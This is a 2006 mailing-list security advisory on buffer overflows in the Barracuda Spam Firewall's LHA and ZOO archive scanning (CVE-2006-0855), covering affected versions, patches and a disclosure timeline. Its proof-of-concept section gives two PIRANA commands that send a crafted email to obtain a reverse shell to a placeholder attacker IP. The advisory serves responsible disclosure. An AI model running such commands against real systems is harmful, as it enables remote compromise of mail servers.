[UNIX] Barracuda Spam Firewall Archiver Vulnerabilities

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Barracuda Spam Firewall Archiver Vulnerabilities
------------------------------------------------------------------------


SUMMARY

"The <http://www.barracudanetworks.com/> Barracuda Spam Firewall is an
integrated hardware and software solution for complete protection of your
email server. It provides a powerful, easy to use, and affordable solution
to eliminating spam and virus from your organization."

Barracuda spam firewall is vulnerable to buffer overflows when it scans
maliciously crafted LHA or ZOO archives.

DETAILS

Vulnerable Systems:
* Barracuda Spam Firewall with firmware versions prior to 3.3.03.022
* Barracuda Spam Firewall with spamdef version prior to 3.0.10045

When building a special LHA or ZOO archive with long filenames in it, it
is possible to overflow a buffer on the stack used by the program and
seize control of the program. Since this component is used when scanning
an incoming email, remote compromise is possible by sending a simple email
with the specially crafted archive attached to the Barracuda Spam
Firewall. No administration access (on port 8000) needed for successfull
exploitation.

Proof of concept:
Using the PIRANA framework, available at <http://www.guay-leroux.com>
http://www.guay-leroux.com, it is possible to test the Barracuda Spam
Firewall against the LHA or ZOO vulnerability.

By calling PIRANA the way it is described below, you will get a TCP
connect back shell on IP address 1.2.3.4 and port 1234:

LHA:
perl pirana.pl -e 0 -h barracuda.vulnerable.com -a postmaster -s 0 -l
1.2.3.4 \ -p 1234 -z -c 1 -d 1

ZOO:
perl pirana.pl -e 4 -h barracuda.vulnerable.com -a postmaster -s 0 -l
1.2.3.4 \ -p 1234 -z -c 1 -d 1

Vendor Status:
Barracuda Networks pushed an urgent critical patch in spamdef #3.0.9388,
available March 3rd 2006.
They also published an official patch in firmware #3.3.03.022, available
April 3rd 2006.
It is recommended to update to firmware #3.3.03.022 .

CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0855>
CVE-2006-0855

OSVDB References:
#5753, #5754, #23460

Disclosure Timeline:
* 2006-03-02 - Disclosure of vulnerability to Barracuda Networks
* 2006-03-02 - Acknowledgement of the problem
* 2006-03-03 - ZOO Problem fixed
* 2006-03-24 - LHA Problem fixed
* 2006-04-03 - Advisory disclosed to public


ADDITIONAL INFORMATION

The information has been provided by
<mailto:jean-sebastien@xxxxxxxxxxxxxxx> Jean-Sebastien Guay-Leroux.



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages